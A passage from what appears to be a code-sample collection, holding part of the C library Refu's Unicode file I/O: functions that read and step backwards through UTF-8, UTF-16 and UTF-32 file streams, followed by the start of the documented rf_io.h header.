UTF-8 file byte stream, the first byte of a character was invalid UTF-8\",RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE);\n    return RE_UTF8_INVALID_SEQUENCE_INVALID_BYTE;\n}\n\n// Gets a unicode character from a Big Endian UTF-16 file descriptor\nint32_t rfFgetc_UTF16BE(FILE* f,uint32_t *c,char cp)\n{\n    char swapE=false;\n    uint16_t v1,v2;\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n            swapE = true;\n    // read the first 2 bytes\n    if(fread(&v1,2,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"While reading a UTF-16 from a Big Endian File stream\")\n        else\n            return RE_FILE_EOF;\n    }\n    if(swapE)// swap endianess if needed\n        rfUTILS_SwapEndianUS(&v1);\n    /* If the value is in the surrogate area */\n    if(RF_HEXGE_US(v1,0xD800) && RF_HEXLE_US(v1,0xDFFF))\n    {\n        if(RF_HEXL_US(v1,0xD800) || RF_HEXG_US(v1,0xDBFF))\n        {\n            LOG_ERROR(\"While reading a Big endian UTF-16 file stream the first byte encountered held an illegal value\",RE_UTF16_INVALID_SEQUENCE);\n            return RE_UTF16_INVALID_SEQUENCE;\n        }\n        // then we also need to read its surrogate pair\n        if(fread(&v2,2,1,f) != 1)\n        {\n            i_READ_CHECK(f,\"While reading a UTF-16 from a Big Endian File stream\")\n            else\n            {\n                LOG_ERROR(\"While decoding a UTF-16 Big Endian file byte stream, EOF was encountered abruplty when expecting a surrogate pair\",RE_UTF16_NO_SURRPAIR);\n                return RE_FILE_EOF;\n            }\n        }\n        if(swapE)// swap endianess if needed\n            rfUTILS_SwapEndianUS(&v2);\n        if(RF_HEXL_US(v2,0xDC00) || RF_HEXG_US(v2,0xDFFF))\n        {\n            LOG_ERROR(\"While reading a Big endian UTF-16 file stream the surrogate pair encountered held an illegal value\",RE_UTF16_INVALID_SEQUENCE);\n            return RE_UTF16_INVALID_SEQUENCE;\n        }\n        if(cp == true)// if the user wants the decoded codepoint\n        {\n            *c = 0;\n            *c = v2&0x3ff;\n            *c |= (10<<v1&0x3ff);\n            *c += 0x10000;\n            return 4;\n        }// else\n        *c = 0;\n        uint16_t* cc = (uint16_t*)c;\n        cc[0] = v1; cc[1] = v2;\n        return 4;\n    }// end of surrogate pair existence case\n    // else no surrogate pair exists so v1 is all we need\n    *c = v1;\n    return 2;\n}\n// Gets a unicode character from a Little Endian UTF-16 file descriptor\nint32_t rfFgetc_UTF16LE(FILE* f,uint32_t *c,char cp)\n{\n    char swapE=false;\n    uint16_t v1,v2;\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_BIG_ENDIAN)\n            swapE = true;\n    // read the first 2 bytes\n    if(fread(&v1,2,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"While reading a UTF-16 from a Little Endian File stream\")\n        else\n            return RE_FILE_EOF;\n    }\n    if(swapE)// swap endianess if needed\n        rfUTILS_SwapEndianUS(&v1);\n    /* If the value is in the surrogate area */\n    if(RF_HEXGE_US(v1,0xD800) && RF_HEXLE_US(v1,0xDFFF))\n    {\n        if(RF_HEXL_US(v1,0xD800) || RF_HEXG_US(v1,0xDBFF))\n        {\n            LOG_ERROR(\"While reading a little endian UTF-16 file stream the first byte encountered held an illegal value\",RE_UTF16_INVALID_SEQUENCE);\n            return RE_UTF16_INVALID_SEQUENCE;\n        }\n        // then we also need to read its surrogate pair\n        if(fread(&v2,2,1,f) != 1)\n        {\n            i_READ_CHECK(f,\"While reading a UTF-16 from a Little Endian File stream\")\n            else\n            {\n                LOG_ERROR(\"While decoding a UTF-16 Little Endian file byte stream, EOF was encountered abruplty when expecting a surrogate pair\",RE_UTF16_NO_SURRPAIR);\n                return RE_FILE_EOF;\n            }\n        }\n        if(swapE)// swap endianess if needed\n            rfUTILS_SwapEndianUS(&v2);\n        if(RF_HEXL_US(v2,0xDC00) || RF_HEXG_US(v2,0xDFFF))\n        {\n            LOG_ERROR(\"While reading a little endian UTF-16 file stream the surrogate pair encountered held an illegal value\",RE_UTF16_INVALID_SEQUENCE);\n            return RE_UTF16_INVALID_SEQUENCE;\n        }\n        if(cp == true)// if the user wants the decoded codepoint\n        {\n            *c = 0;\n            *c = v2&0x3ff;\n            *c |= (10<<v1&0x3ff);\n            *c += 0x10000;\n            return 4;\n        }// else\n        *c = 0;\n        uint16_t* cc = (uint16_t*)c;\n        cc[0] = v1; cc[1] = v2;\n        return 4;\n    }// end of surrogate pair existence case\n    // else no surrogate pair exists so v1 is all we need\n    *c = v1;\n    return 2;\n}\n// Gets a unicode character from a UTF-32 Little Endian file descriptor\nint32_t rfFgetc_UTF32LE(FILE* f,uint32_t *c)\n{\n    // read the next 4 bytes\n    if(fread(c,4,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"While reading a UTF-32 character from a Little Endian File stream\")\n        else\n            return RE_FILE_EOF;\n    }\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_BIG_ENDIAN)\n            rfUTILS_SwapEndianUI(c);\n    return RF_SUCCESS;\n}\n// Gets a unicode character from a UTF-32 Little Endian file descriptor\nint32_t rfFgetc_UTF32BE(FILE* f,uint32_t *c)\n{\n    // read the next 4 bytes\n    if(fread(c,4,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"While reading a UTF-32 character from a Big Endian File stream\")\n        else\n            return RE_FILE_EOF;\n    }\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n            rfUTILS_SwapEndianUI(c);\n    return RF_SUCCESS;\n}\n\n// Moves a unicode character backwards in a big endian UTF-32 file stream\nint32_t rfFback_UTF32BE(FILE* f,uint32_t *c)\n{\n    // go back and read the last 4 bytes\n    if(fseek(f,-4,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-32 file stream\")\n    }\n    if(fread(c,4,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"Reading four bytes backwards in a Big Endian UTF-32 file stream\")\n    }\n    if(fseek(f,-4,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-32 file stream\")\n    }\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n            rfUTILS_SwapEndianUI(c);\n    return RF_SUCCESS;\n}\n// Moves a unicode character backwards in a little endian UTF-32 file stream\nint32_t rfFback_UTF32LE(FILE* f,uint32_t *c)\n{\n    // go back and read the last 4 bytes\n    if(fseek(f,-4,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-32 file stream\")\n    }\n    if(fread(c,4,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"Reading four bytes backwards in a Big Endian UTF-32 file stream\")\n    }\n    if(fseek(f,-4,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-32 file stream\")\n    }\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_BIG_ENDIAN)\n            rfUTILS_SwapEndianUI(c);\n    return RF_SUCCESS;\n}\n// Moves a unicode character backwards in a big endian UTF-16 file stream\nint32_t rfFback_UTF16BE(FILE* f,uint32_t *c)\n{\n    char swapE=false;\n    uint16_t v1,v2;\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_LITTLE_ENDIAN)\n            swapE = true;\n    // go back and read the last 2 bytes\n    if(fseek(f,-2,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-16 file stream\")\n    }\n    if(fread(&v1,2,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"Reading two bytes backwards in a Big Endian UTF-16 file stream\")\n    }\n    if(fseek(f,-2,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-16 file stream\")\n    }\n    if(swapE)// swap endianess if needed\n        rfUTILS_SwapEndianUS(&v1);\n    /* If the word is a surrogate pair */\n    if(RF_HEXGE_US(v1,0xDC00) && RF_HEXLE_US(v1,0xDFFF))\n    {\n        // go back and read 2 more bytes\n        if(fseek(f,-2,SEEK_CUR) != 0)\n        {\n            i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-16 file stream\")\n        }\n        if(fread(&v2,2,1,f) != 1)\n        {\n            i_READ_CHECK(f,\"Reading two bytes backwards in a Big Endian UTF-16 file stream\")\n        }\n        if(fseek(f,-2,SEEK_CUR) != 0)\n        {\n            i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-16 file stream\")\n        }\n        if(swapE)// swap endianess if needed\n            rfUTILS_SwapEndianUS(&v2);\n        if(RF_HEXL_US(v2,0xD800) || RF_HEXG_US(v2,0xDBFF))\n        {\n            LOG_ERROR(\"While reading bytes backwards in a Big Endian UTF-16 file stream the encountered byte was supposed to be a surrogate pair but its pair is of illegal value\",RE_UTF16_INVALID_SEQUENCE);\n            return RE_UTF16_INVALID_SEQUENCE;\n        }\n        // get the codepoint\n        *c = 0;\n        *c = v1&0x3ff;\n        *c |= (10<<v2&0x3ff);\n        *c += 0x10000;\n        return 4;\n    }// end of surrogate pair case\n    // getting here means this word is what we seek. Let's confirm\n    if(RF_HEXL_US(v1,0xD800) || RF_HEXG_US(v1,0xDFFF))\n    {\n        // get the codepoint\n         *c = 0;\n        uint16_t* cc = (uint16_t*) c;\n        cc[0] = v1;\n        return 2;\n    }\n    // else invald sequence\n    LOG_ERROR(\"While reading bytes backwards in a Big Endian UTF-16 file stream the encountered byte had an illegal value\",RE_UTF16_INVALID_SEQUENCE);\n    return RE_UTF16_INVALID_SEQUENCE;\n}\n\n// Moves a unicode character backwards in a little endian UTF-16 file stream\nint32_t rfFback_UTF16LE(FILE* f,uint32_t *c)\n{\n    char swapE=false;\n    uint16_t v1,v2;\n    // check if we need to be swapping\n    if(rfUTILS_Endianess() == RF_BIG_ENDIAN)\n            swapE = true;\n    // go back and read the last 2 bytes\n    if(fseek(f,-2,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Little Endian UTF-16 file stream\")\n    }\n    if(fread(&v1,2,1,f) != 1)\n    {\n        i_READ_CHECK(f,\"Reading two bytes backwards in a Little Endian UTF-16 file stream\")\n    }\n    if(fseek(f,-2,SEEK_CUR) != 0)\n    {\n        i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-16 file stream\")\n    }\n    if(swapE)// swap endianess if needed\n        rfUTILS_SwapEndianUS(&v1);\n    /* If the word is a surrogate pair */\n    if(RF_HEXGE_US(v1,0xDC00) && RF_HEXLE_US(v1,0xDFFF))\n    {\n        // go back and read 2 more bytes\n        if(fseek(f,-2,SEEK_CUR) != 0)\n        {\n            i_FSEEK_CHECK(\"Going backwards in a Little Endian UTF-16 file stream\")\n        }\n        if(fread(&v2,2,1,f) != 1)\n        {\n            i_READ_CHECK(f,\"Reading two bytes backwards in a Little Endian UTF-16 file stream\")\n        }\n        if(fseek(f,-2,SEEK_CUR) != 0)\n        {\n            i_FSEEK_CHECK(\"Going backwards in a Big Endian UTF-16 file stream\")\n        }\n        if(swapE)// swap endianess if needed\n            rfUTILS_SwapEndianUS(&v2);\n        if(RF_HEXL_US(v2,0xD800) || RF_HEXG_US(v2,0xDBFF))\n        {\n            LOG_ERROR(\"While reading bytes backwards in a Little Endian UTF-16 file stream the encountered byte was supposed to be a surrogate pair but its pair is of illegal value\",RE_UTF16_INVALID_SEQUENCE);\n            return RE_UTF16_INVALID_SEQUENCE;\n        }\n        // get the codepoint\n        *c = 0;\n        *c = v1&0x3ff;\n        *c |= (10<<v2&0x3ff);\n        *c += 0x10000;\n        return 4;\n    }// end of surrogate pair case\n    // getting here means this word is what we seek. Let's confirm\n    if(RF_HEXL_US(v1,0xD800) || RF_HEXG_US(v1,0xDFFF))\n    {\n        // get the codepoint\n         *c = 0;\n        uint16_t* cc = (uint16_t*) c;\n        cc[0] = v1;\n        return 2;\n    }\n    // else invald sequence\n    LOG_ERROR(\"While reading bytes backwards in a Little Endian UTF-16 file stream the encountered byte had an illegal value\",RE_UTF16_INVALID_SEQUENCE);\n    return RE_UTF16_INVALID_SEQUENCE;\n}\n\n// Moves a unicode character backwards in a UTF-8 file stream\nint32_t rfFback_UTF8(FILE* f,uint32_t *c)\n{\n    // read one byte before the current\n    int i = 0;\n    char bytes[4];\n    do\n    {\n        if(fseek(f,-1,SEEK_CUR) != 0)\n        {\n            i_FSEEK_CHECK(\"Going backwards in a UTF-8 file\")\n        }\n        if((bytes[i] = fgetc(f)) == EOF)\n        {\n            i_READ_CHECK(f,\"Reading a byte backwards in a UTF-8 file\")\n        }\n        if(fseek(f,-1,SEEK_CUR) != 0)\n        {\n            i_FSEEK_CHECK(\"Going backwards in a UTF-8 file\")\n        }\n        i++;\n    }while(rfUTF8_IsContinuationByte(bytes[i-1]));\n    switch(i)// depending on the number of bytes read backwards\n    {\n        case 4:\n            *c = 0;\n            // from the fourth byte take the first 6 bits\n            *c = (bytes[0] & 0x3F) ;\n            // from the third byte take the first 6 bits and put them to the left of the previous 6 bits\n            *c |= ((bytes[1] & 0x3F) << 6);\n            // from the second byte take the first 6 bits and put them to the left of the previous 6 bits\n            *c |= ((bytes[2] & 0x3F) << 12);\n            // from the first byte take the first 3 bits and put them to the left of the previous 6 bits\n            *c |= ((bytes[3] & 0x7) << 18);\n        break;\n        case 3:\n            *c = 0;\n            // from the third byte take the first 6 bits\n            *c = (bytes[0] & 0x3F) ;\n            // from the second byte take the first 6 bits and put them to the left of the previous 6 bits\n            *c |= ((bytes[1] & 0x3F) << 6);\n            // from the first byte take the first 4 bits and put them to the left of the previous 6 bits\n            *c |= ((bytes[2] & 0xF) << 12);\n        break;\n        case 2:\n            *c = 0;\n            // from the second byte take the first 6 bits\n            *c = (bytes[0] & 0x3F) ;\n            // from the first byte take the first 5 bits and put them in the start\n            *c |= ((bytes[1] & 0x1F) << 6);\n        break;\n        case 1:\n            *c = bytes[0];\n        break;\n        default:\n            LOG_ERROR(\"During moving one unicode character back in a UTF-8 filestream moved an abnormal number of bytes\",RE_UTF8_INVALID_SEQUENCE);\n            return RE_UTF8_INVALID_SEQUENCE;\n        break;\n    }\n    return i;\n}\n\n"
  },
  {
    "path": "samples/C/rf_io.h",
    "content": "/**\n** Copyright (c) 2011-2012, Karapetsas Eleftherios\n** All rights reserved.\n**\n** Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:\n**  1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.\n**  2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in\n**     the documentation and/or other materials provided with the distribution.\n**  3. Neither the name of the Original Author of Refu nor the names of its contributors may be used to endorse or promote products derived from\n**\n**  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n**  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n**  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n**  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\n**  SERVICES;LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,\n**  WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n**  OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n**/\n\n\n#ifndef REFU_IO_H\n#define REFU_IO_H\n\n#include <rf_setup.h>\n#include <stdio.h>\n\n#ifdef __cplusplus\nextern \"C\"\n{// opening bracket for calling from C++\n#endif\n\n// New line feed\n#define RF_LF   0xA\n// Carriage Return\n#define RF_CR   0xD\n\n#ifdef REFU_WIN32_VERSION\n    #define i_PLUSB_WIN32   \"b\"\n#else\n    #define i_PLUSB_WIN32   \"\"\n#endif\n\n// This is the type that represents the file offset\n#ifdef _MSC_VER\ntypedef __int64 foff_rft;\n#else\n#include <sys/types.h>\ntypedef off64_t foff_rft;\n#endif\n///Fseek and Ftelll definitions\n#ifdef _MSC_VER\n    #define rfFseek(i_FILE_,i_OFFSET_,i_WHENCE_)    _fseeki64(i_FILE_,i_OFFSET_,i_WHENCE_)\n    #define rfFtell(i_FILE_)                        _ftelli64(i_FILE_)\n#else\n    #define rfFseek(i_FILE_,i_OFFSET_,i_WHENCE_)    fseeko64(i_FILE_,i_OFFSET_,i_WHENCE_)\n    #define rfFtell(i_FILE_)                        ftello64(i_FILE_)\n#endif\n\n/**\n** @defgroup RF_IOGRP I/O\n** @addtogroup RF_IOGRP\n** @{\n**/\n\n// @brief Reads a UTF-8 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// When the compile flag @c RF_NEWLINE_CRLF is defined (the default case at Windows) then this function\n// shall not be adding any CR character that is found in the file behind a newline character since this is\n// the Windows line ending scheme. Beware though that the returned  read bytes value shall still count the CR character inside.\n//\n// @param[in] f The file descriptor to read\n// @param[out] utf8 Give here a refence to an unitialized char* that will be allocated inside the function\n// and contain the utf8 byte buffer. Needs to be freed by the caller explicitly later\n// @param[out] byteLength Give an @c uint32_t here to receive the length of the @c utf8 buffer in bytes\n// @param[out] bufferSize Give an @c uint32_t here to receive the capacity of the @c utf8 buffer in bytes\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file\n// with reading this line\n// @return Returns either a positive number for success that represents the number of bytes read from @c f and and error in case something goes wrong.\n// The possible errors to return are the same as rfFgets_UTF8()\ni_DECLIMEX_ int32_t rfFReadLine_UTF8(FILE* f,char** utf8,uint32_t* byteLength,uint32_t* bufferSize,char* eof);\n// @brief Reads a Big Endian UTF-16 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// When the compile flag @c RF_NEWLINE_CRLF is defined (the default case at Windows) then this function\n// shall not be adding any CR character that is found in the file behind a newline character since this is\n// the Windows line ending scheme. Beware though that the returned  read bytes value shall still count the CR character inside.\n//\n// @param[in] f The file descriptor to read\n// @param[out] utf8 Give here a refence to an unitialized char* that will be allocated inside the function\n// and contain the utf8 byte buffer. Needs to be freed by the caller explicitly later\n// @param[out] byteLength Give an @c uint32_t here to receive the length of the @c utf8 buffer in bytes\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file\n// with reading this line\n// @return Returns either a positive number for success that represents the number of bytes read from @c f and and error in case something goes wrong.\n// + Any error that can be returned by @ref rfFgets_UTF16BE()\n// + @c RE_UTF16_INVALID_SEQUENCE: Failed to decode the UTF-16 byte stream of the file descriptor\n// + @c RE_UTF8_ENCODING: Failed to encode the UTF-16 of the file descriptor into UTF-8\ni_DECLIMEX_ int32_t rfFReadLine_UTF16BE(FILE* f,char** utf8,uint32_t* byteLength,char* eof);\n// @brief Reads a Little Endian UTF-16 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// When the compile flag @c RF_NEWLINE_CRLF is defined (the default case at Windows) then this function\n// shall not be adding any CR character that is found in the file behind a newline character since this is\n// the Windows line ending scheme. Beware though that the returned read bytes value shall still count the CR character inside.\n//\n// @param[in] f The file descriptor to read\n// @param[out] utf8 Give here a refence to an unitialized char* that will be allocated inside the function\n// and contain the utf8 byte buffer. Needs to be freed by the caller explicitly later\n// @param[out] byteLength Give an @c uint32_t here to receive the length of the @c utf8 buffer in bytes\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file\n// with reading this line\n// @return Returns either a positive number for success that represents the number of bytes read from @c f and and error in case something goes wrong.\n// + Any error that can be returned by @ref rfFgets_UTF16LE()\n// + @c RE_UTF16_INVALID_SEQUENCE: Failed to decode the UTF-16 byte stream of the file descriptor\n// + @c RE_UTF8_ENCODING: Failed to encode the UTF-16 of the file descriptor into UTF-8\ni_DECLIMEX_ int32_t rfFReadLine_UTF16LE(FILE* f,char** utf8,uint32_t* byteLength,char* eof);\n\n// @brief Reads a Big Endian UTF-32 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// When the compile flag @c RF_NEWLINE_CRLF is defined (the default case at Windows) then this function\n// shall not be adding any CR character that is found in the file behind a newline character since this is\n// the Windows line ending scheme. Beware though that the returned read bytes value shall still count the CR character inside.\n//\n// @param[in] f The file descriptor to read\n// @param[out] utf8 Give here a refence to an unitialized char* that will be allocated inside the function\n// and contain the utf8 byte buffer. Needs to be freed by the caller explicitly later\n// @param[out] byteLength Give an @c uint32_t here to receive the length of the @c utf8 buffer in bytes\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file\n// with reading this line\n// @return Returns either a positive number for success that represents the number of bytes read from @c f and and error in case something goes wrong.\n// + Any error that can be returned by @ref rfFgets_UTF32BE()\n// + @c RE_UTF8_ENCODING: Failed to encode the UTF-16 of the file descriptor into UTF-8\ni_DECLIMEX_ int32_t rfFReadLine_UTF32BE(FILE* f,char** utf8,uint32_t* byteLength,char* eof);\n// @brief Reads a Little Endian UTF-32 file descriptor until end of line or EOF is found and returns a UTF-8 byte buffer\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// When the compile flag @c RF_NEWLINE_CRLF is defined (the default case at Windows) then this function\n// shall not be adding any CR character that is found in the file behind a newline character since this is\n// the Windows line ending scheme. Beware though that the returned read bytes value shall still count the CR character inside.\n//\n// @param[in] f The file descriptor to read\n// @param[out] utf8 Give here a refence to an unitialized char* that will be allocated inside the function\n// and contain the utf8 byte buffer. Needs to be freed by the caller explicitly later\n// @param[out] byteLength Give an @c uint32_t here to receive the length of the @c utf8 buffer in bytes\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file\n// with reading this line\n// @return Returns either a positive number for success that represents the number of bytes read from @c f and and error in case something goes wrong.\n// + Any error that can be returned by @ref rfFgets_UTF32LE()\n// + @c RE_UTF8_ENCODING: Failed to encode the UTF-16 of the file descriptor into UTF-8\ni_DECLIMEX_ int32_t rfFReadLine_UTF32LE(FILE* f,char** utf8,uint32_t* byteLength,char* eof);\n\n// @brief Gets a number of bytes from a BIG endian UTF-32 file descriptor\n//\n// This is a function that's similar to c library fgets but it also returns the number of bytes read. Reads in from the file until @c num bytes\n// have been read or new line or EOF character has been encountered.\n//\n// The function will read until @c num characters are read and if @c num\n// would take us to the middle of a UTF32 character then the next character shall also be read\n// and the function will return the number of bytes read.\n// Since the function null terminates the buffer the given @c buff needs to be of at least\n// @c num+7 size to cater for the worst case.\n//\n// The final bytestream stored inside @c buff is in the endianess of the system.\n//\n// If right after the last character read comes the EOF, the function\n// shall detect so and assign @c true to @c eof.\n//\n// In Windows where file endings are in the form of 2 bytes CR-LF (Carriage return - NewLine) this function\n// shall just ignore the carriage returns and not return it inside the return buffer at @c buff.\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param[in] buff A buffer to be filled with the contents of the file. Should be of size at least @c num+7\n// @param[in] num The maximum number of bytes to read from within the file NOT including the null terminating character(which in itelf is 4 bytes). Should be a multiple of 4\n// @param[in] f A valid FILE descriptor from which to read the bytes\n// @param[out] eof Pass a reference to a char to receive a true/false value for whether EOF has been reached.\n// @return Returns the actual number of bytes read or an error if there was a problem.\n// The possible errors are:\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgets_UTF32BE(char* buff,uint32_t num,FILE* f,char* eof);\n// @brief Gets a number of bytes from a Little endian UTF-32 file descriptor\n//\n// This is a function that's similar to c library fgets but it also returns the number of bytes read. Reads in from the file until @c num bytes\n// have been read or new line or EOF character has been encountered.\n//\n// The function will read until @c num characters are read and if @c num\n// would take us to the middle of a UTF32 character then the next character shall also be read\n// and the function will return the number of bytes read.\n// Since the function null terminates the buffer the given @c buff needs to be of at least\n// @c num+7 size to cater for the worst case.\n//\n// The final bytestream stored inside @c buff is in the endianess of the system.\n//\n// If right after the last character read comes the EOF, the function\n// shall detect so and assign @c true to @c eof.\n//\n// In Windows where file endings are in the form of 2 bytes CR-LF (Carriage return - NewLine) this function\n// shall just ignore the carriage returns and not return it inside the return buffer at @c buff.\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param[in] buff A buffer to be filled with the contents of the file. Should be of size at least @c num+7\n// @param[in] num The maximum number of bytes to read from within the file NOT including the null terminating character(which in itelf is 4 bytes). Should be a multiple of 4\n// @param[in] f A valid FILE descriptor from which to read the bytes\n// @param[out] eof Pass a reference to a char to receive a true/false value for whether EOF has been reached.\n// @return Returns the actual number of bytes read or an error if there was a problem.\n// The possible errors are:\n// + @c RE_FILE_READ: If during reading the file there was an unknown read error\n// + @c RE_FILE_READ_BLOCK: If the read operation failed due to the file descriptor being occupied by another thread\n// + @c RE_FILE_MODE: If during reading the file the file descriptor's mode was not correctly set for reading\n// + @c RE_FILE_POS_OVERFLOW: If during reading, the current file position can't be represented by the system\n// + @c RE_INTERRUPT: If during reading, there was a system interrupt\n// + @c RE_FILE_IO: If there was a physical I/O error\n// + @c RE_FILE_NOSPACE: If reading failed due to insufficient storage space\ni_DECLIMEX_ int32_t rfFgets_UTF32LE(char* buff,uint32_t num,FILE* f,char* eof);\n\n// @brief Gets a number of bytes from a BIG endian UTF-16 file descriptor\n//\n// This is a function that's similar to c library fgets but it also returns the number of bytes read. Reads in from the file until @c num bytes\n// have been read or new line or EOF character has been encountered.\n//\n// The function will read until @c num characters are read and if @c num\n// would take us to the middle of a UTF16 character then the next character shall also be read\n// and the function will return the number of bytes read.\n// Since the function null terminates the buffer the given @c buff needs to be of at least\n// @c num+5 size to cater for the worst case.\n//\n// The final bytestream stored inside @c buff is in the endianess of the system.\n//\n// If right after the last character read comes the EOF, the function\n// shall detect so and assign @c true to @c eof.\n//\n// In Windows where file endings are in the form of 2 bytes CR-LF (Carriage return - NewLine) this function\n// shall just ignore the carriage returns and not return it inside the return buffer at @c buff.\n//\n// The file descriptor at @c f must have been opened in <b>binary</b> and not text mode. That means that if under\n// Windows make sure to call fopen with \"wb\", \"rb\" e.t.c. instead of the simple \"w\", \"r\" e.t.c. since the initial\n// default value under Windows is text mode. Alternatively you can set the initial value using _get_fmode() and\n// _set_fmode(). For more information take a look at the msdn pages here:\n// http://msdn.microsoft.com/en-us/library/ktss1a9b.aspx\n//\n// @param[in] buff A buffer to be filled with the contents of the file. Should be of size at least @c num+5\n// @param[in] num The maximum number of bytes to read from within the file NOT including the null terminating character(which in itelf is 2 bytes). Should be a multiple of 2\n// @param[in] f A valid FILE descriptor from which to 